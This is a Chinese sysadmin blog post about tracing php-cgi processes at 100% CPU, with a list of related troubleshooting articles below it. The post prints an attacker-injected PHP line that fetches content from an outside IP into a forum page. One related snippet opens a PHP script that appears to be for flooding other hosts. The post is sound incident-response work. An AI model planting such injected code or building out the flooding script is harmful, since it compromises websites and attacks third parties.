linux php-cgi.exe占用cpu 100%的一次排障之旅

先说下我们网站的架构,由于目前网站访问量不是很大,但是由于最近公司网站要推广,所以将网站由单机切换成前端用nginx做负载均衡,带动两台web服务器,所有网页和静态文件都通过NFS共享调用,NFS服务装在其中的一个web服务器上,后端用mysql主从的方式,是很典型的架构。

切换成这个架构才2天,就收到nagios的报警,报警信息显示有一台web服务器负载很高,于是通过SecureCRT登录到服务器上,用top命令看了一下,发现有几个php-cgi进程占用了大量的CPU,如下:

13889 www    25  0 228m 14m 9344 S 100.4 0.1 14:51.22 php-cgi
13882 www    25  0 227m 13m 9284 S 100.1 0.1 10:53.18 php-cgi
13924 www    25  0 227m 9936 5732 S 100.1 0.1 23:20.80 php-cgi
13927 www    25  0 226m 5228 2064 R 100.1 0.0 24:44.24 php-cgi
13827 www    25  0 228m 15m 10m R 99.7 0.1 12:57.60 php-cgi
13900 www    25  0 228m 19m 13m R 99.7 0.1  9:03.09 php-cgi

由上面的截图我们可以看出那几个php-cgi进程不但占用了大量的CPU,而且运行时间非常长,本来php-cgi接到一个请求运行很快的,怎么这几个运行那么久还没释放?于是采用命令ls -l /proc/13827/fd/查看这个长时间的进程到底在干什么事情,结果如下:

lrwx------ 1 www www 64 Dec 11 12:03 0 -> socket:[68444030]
l-wx------ 1 www www 64 Dec 11 12:03 1 -> pipe:[68444057]
l-wx------ 1 www www 64 Dec 11 12:03 2 -> pipe:[68444058]
lrwx------ 1 www www 64 Dec 11 12:03 3 -> socket:[68468225]
lrwx------ 1 www www 64 Dec 11 12:03 4 -> socket:[68469788]
lrwx------ 1 www www 64 Dec 11 12:03 5 -> socket:[68457928]

看到里面没有打开文件或者写入文件,这个进程没干什么事情,比较奇怪,然后采用strace命令跟踪下看看这个进程在做什么东西呢?

strace -p 13827
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout)
select(5, [4], [4], [], {15, 0})    = 1 (out [4], left {15, 0})
poll([{fd=4, events=POLLIN}], 1, 0)   = 0 (Timeout) …….

可以看出,这个进程不断的超时,到底为何会超时呢???看来需要从php-cgi的日志中查找问题了,由于原来php-fpm.conf配置的超时时间为0,也就是不设置超时时间。于是先将php-fpm.conf的超时时间设置成5s,然后超过5s的php-cgi的请求就会记录到php的慢日志中,设置如下:

3s
logs/slow.log

设置完成,利用命令/usr/local/php/sbin/php-fpm restart重启php-fpm,过一会查看slow.log的内容发现很多如下内容:

script_filename = /data/htdocs/bbs.hrloo.com/apl.php
[0x00007fffb060fd70] file_get_contents() /data/htdocs/bbs.hrloo.com/apl.php:10

查看/data/htdocs/bbs.hrloo.com/apl.php第十行的内容如下:

echo file_get_contents('http://121.10.108.227:86/yh.asp');

网上查了一下发现了介绍php这个函数当里面网址响应很慢的时候就会出现CPU占用很高的情况,而且会一直卡住,不会超时,再看看这个链接,访问一下指向到了一个小说网站,是别人攻击后嵌入的,将这个文件还原后恢复正常。奇怪的是那个安装NFS的web服务器却不会出现那个问题,看来是由于本来那个站点又慢,通过NFS调用就更慢了,因此出现了这个故障。感谢这次故障,才发现了这个严重的问题。

故障修复了,但是问题还远远没有解决,重点要找到文件是如何被修改的,防止再出现类似的事故。看来下面还有很多事情要忙乎了。呵呵!

(0)

相关推荐

  • Linux2.6对新型CPU的支持

    文章分析了在 Linux 2.6 中引入的对 Intel CPU 快速系统调用指令 SYSENTER/SYSEXIT 支持的实现.Linux 驱动及内核开发者通过了解快速系统调用指令的机制,可以在自己的代码中通过利用这一机制,提高系统性能,并避开由快速系统调用方式带来的一些局限(如系统调用中嵌套系统调用). 前言 在 Linux 2.4 内核中,用户态 Ring3 代码请求内核态 Ring0 代码完成某些功能是通过系统调用完成的,而系统调用的是通过软中断指令(int 0x80)实现的.在 x86

  • Linux shell脚本实现CPU预警

    如果CPU占用率持续达到80以上则调用打印java线程占用率堆栈的脚本,见https://github.com/oldratlee/useful-shells/blob/master/show-busy-java-threads.sh,具体用法见他的github wiki! #!/bin/bash #cpu idle percent cpu_idle=`top -b -d 1 -n 2 | grep Cpu | awk 'NR>1{print $5}' | cut -f 1 -d ".&q

  • linux vps服务器进程kswapd0与events/0消耗大量CPU的问题

    今天下午网站宕了两次机,发工单给阿里云,发现原因是服务器的CPU 100%了. 重启服务器后,使用 top 命令看看是哪些进程消耗那么大的 CPU 使用.盯了有好十几分钟,主要消耗 CPU 的进程有两个,一个是 mysql,另一个是 apache.下面的图可以看到,mysql 占用了很大部分的 CPU 使用.apache 单个进程虽然占得不多,但有不少个 apache 进程同时存在,也消耗了不少 CPU 的使用. 当然,这些不足以让服务器的 CPU 直接跑满挂掉,后来发现了两个大家伙: 当 my

  • 使用python获取CPU和内存信息的思路与实现(linux系统)

    大家都知道,linux里一切皆为文件,在linux/unix的根目录下,有个/proc目录,这个/proc 是一种内核和内核模块用来向进程(process)发送信息的机制(所以叫做"/proc"),这个伪文件系统允许与内核内部数据结构交互,获取有关进程的有用信息,在运行中(on the fly)改变设置(通过改变内核参数).与其他文件系统不同,/proc 存在于内存而不是硬盘中.proc 文件系统提供的信息如下: •进程信息:系统中的任何一个进程,在 proc 的子目录中都有一个同名的

  • Linux 查看cpu 信息的命令及简单实例

    有的时候领导会问你某个服务器是多少核的,多少线程的,是不是会懵了,下面教你怎么看cpuinfo 1.查看cpu个数: # cat /proc/cpuinfo | grep 'physical id' | sort -u 2.查看cpu核数: #  cat /proc/cpuinfo | grep 'core id' | sort -u | wc -l 3.查看cpu线程: #  cat /proc/cpuinfo | grep 'processor' | sort -u | wc -l eg: 

  • linux查看cpu是否支持64位的方法

    查看cpuinfo中是否有lm,如果有lm表示支持64位,lm的意思是long mode,具体命令如下: 复制代码 代码如下: cat /proc/cpuinfo  | grep flags 检查输出里面是否有 lm 字符或 复制代码 代码如下: cat /proc/cpuinfo  | grep flags | grep lm | wc -l 输出结果大于 0 表示支持64位

  • linux系统使用python获取cpu信息脚本分享

    linux系统使用python获取cpu信息脚本分享 复制代码 代码如下: #!/usr/bin/env Pythonfrom __future__ import print_functionfrom collections import OrderedDictimport pprint def CPUinfo():    ''' Return the information in /proc/CPUinfo    as a dictionary in the following format:

  • Linux中使用Shell脚本查看Java线程的CPU使用情况

    线上Java应用,在业务高峰期的时候经常出现CPU跑高,需要查看实时的线程占用cpu情况,下面是一个很好用的脚本,可以快速导出每个线程的占用CPU情况,结合jstack日志,排查到具体的线程类名. 一.首先获得jvm的进程ID: 复制代码 代码如下: ps -ef|grep javatomcat     374   372  1 11:45 ?        00:02:30 jsvc.exec -java-home /usr/java/latest -user tomcat -pidfile

  • linux使用管道命令执行ps获取cpu与内存占用率

    复制代码 代码如下: #include <stdio.h>#include <unistd.h>int main(){    char caStdOutLine[1024]; // ps 命令的标准输出中的一行信息    char* pcTmp = NULL;      // 指向以空格拆分后的字符串 char caSelfPID[10];      // 自身进程的PID字符串    char caPSCmd[24];        // "ps aux | grep

  • linux php-cgi.exe占用cpu 100%的一次排障之旅

    先说下我们网站的架构,由于目前网站访问量不是很大,但是由于最近公司网站要推广,所以将网站由单机切换成前端用nginx做负载均衡,带动两台web服务器,所有网页和静态文件都通过NFS共享调用,NFS服务装在其中的一个web服务器上,后端用mysql主从的方式,是很典型的架构. 切换成这个架构才2天,就收到nagios的报警,报警信息显示有一台web服务器负载很高,于是通过SecureCRT登录到服务器上,用top命令看了一下,发现有几个php-cgi进程占用了大量的CPU,如下: 13889 ww

  • 服务器上w3wp.exe占用cpu过多有时候超过50%的原因分析

    解决CPU占用过多: 1.在IIS中对每个网站进行单独的应用程序池配置.即互相之间不影响. 2.设置应用程序池的CPU监视,不超过25%(服务器为4CPU),每分钟刷新,超过限制时关闭. 根据w3wp取得是哪一个应用程序池: 1.在任务管理器中增加显示pid字段.就可以看到占用内存或者cpu最高的进程pid 2.在命令提示符下运行iisapp -a.注意,第一次运行,会提示没有js支持,点击确定.然后再次运行就可以了.这样就可以看到pid对应的应用程序池.(iisapp实际上是存放在 C:win

  • 使用dotnet-dump 查找 .net core 3.0 占用CPU 100%的原因解析

    公司的产品一直紧跟 .net core 3.0 preview 不断升级, 部署到 Linux 服务器后, 偶尔会出现某个进程CPU占用100%. 由于服务部署在云上, 不能使用远程调试; 在局域网内的Linux 服务器 或 Windows开发机上又不能重现这个问题, 联想到Java的jstack, 很是羡慕啊. 想到.net core 已经出来这么久了, 还是试着找找看吧, 结果还真找到一篇博客Introducing diagnostics improvements in .NET Core

  • spoolsv.exe占用cpu 99%的完美解决方法

    spoolsv.exe占用cpu 99%的解决方法  spoolsv.exe占cpu 99%的解决方法 解决方法其实很简单: 就是清空 C:\WINDOWS\system32\spool\PRINTERS 目录下所有的文件: 前提是:你已经使用了杀毒软件排除了病毒和已经使用防间谍软件排除了恶意软件. 相关问题的Microsoft官方文档: Windows 后台打印程序没有删除打印作业后台文件导致的打印程序可能会反复地尝试对该打印作业进行后台处理解决方案 为避免发生此问题,请不要在打印后台文件位于

  • w3wp.exe占用CPU和内存问题过高的解决方法

    今天研究了一下,可以做以下配置: 1.在IIS中对每个网站进行单独的应用程序池配置.即互相之间不影响. 2.设置应用程序池的回收时间,默认为1720小时,可以根据情况修改.同时,设置同时运行的w3wp进程数目为1.再设置当内存或者cpu占用超过多少,就自动回收内存 一般来说,这样就可以解决了.但仍然会出现个别网站因为程序问题,不能正确释放. 那么,怎么样才能找到是哪一个网站的? 1.在任务管理器中增加显示pid字段.就可以看到占用内存或者cpu最高的进程pid 2.在命令提示符下运行iisapp

  • w3wp.exe占用cpu过高的解决方法第1/2页

    iisapp.vbs:IIS 应用程序查询脚本 报告为特定的应用程序池提供服务且当前正在运行 w3pwp.exe 进程的进程标识符 (PID). 语法 iisapp [a/ AppPoolName | /p AppPoolID] 参数 /a AppPoolName 指定特定应用程序池的名称.(可选项) /p AppPoolID 按 ID 号指定应用程序池.(可选项) 注释 如果未指定应用程序池名或 ID,则 iisapp 列出所有运行应用程序. 仅当使用 /s 时,才可使用 /u 和 /p 命令

  • 详解Linux如何查看当前占用CPU或内存最多的几个进程

    命令 ps -aux | sort -k4nr | head -N 命令详解: 1.head:-N可以指定显示的行数,默认显示10行. 2.ps:参数a指代all--所有的进程,u指代userid--执行该进程的用户id,x指代显示所有程序,不以终端机来区分. ps -aux的输出格式如下: USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 19352 1308 ? Ss Jul29 0:00 /sbin/

  • Windows服务器上lsass.exe进程CPU使用率异常问题排查方法

    近期有几台服务器相继出现 lsass.exe 占用CPU过高,也不算太高,而且过了一段时间又会恢复正常,CPU过高直接造成网站打开很慢,周而反复. 在CPU跑高的时候,伴随着一个现像就是网络的浮动,有时候上传居然达到了30M - 90M/s,对外攻击,第一时间就想到有可能是这个原因,那具体怎么查呢? 常见的对外文件,这东西网上搜一下就能找到. 复制代码 代码如下: <?php set_time_limit(86400); ignore_user_abort(True); $packets = 0

  • 千万级记录的Discuz论坛导致MySQL CPU 100%的优化笔记

    发现此主机运行了几个 Discuz 的论坛程序, Discuz论坛的好几个表也存在着这个问题.于是顺手一并解决,cpu占用再次降下来了. 前几天,一位朋友通过这篇文章找到了我,说他就是运行最新的 discuz 版本,MySQL 占用 CPU 100%,导致系统假死,每天都要重启好几次,花了一个多月的时间一直没有解决,希望我帮忙一下.经过检查,他的这个论坛最重要的几个表中,目前 cdb_members 表,有记录 6.2 万:cdb_threads 表,有记录 11万:cdb_posts表,有记录

  • IIS6 w3wp.exe进程占用cpu和内存过多的解决方法

    在IIS6下,经常出现w3wp.exe的内存及CPU占用不能及时释放,从而导致服务器响应速度很慢. 解决CPU占用过多:1.在IIS中对每个网站进行单独的应用程序池配置.即互相之间不影响.2.设置应用程序池的CPU监视,不超过25%(服务器为4CPU),每分钟刷新,超过限制时关闭. 根据w3wp取得是哪一个应用程序池:1.在任务管理器中增加显示pid字段(任务管理器>查看>选择列>PID(进程标识符)).就可以看到占用内存或者cpu最高的进程pid. 2.在命令提示符下运行iisapp

随机推荐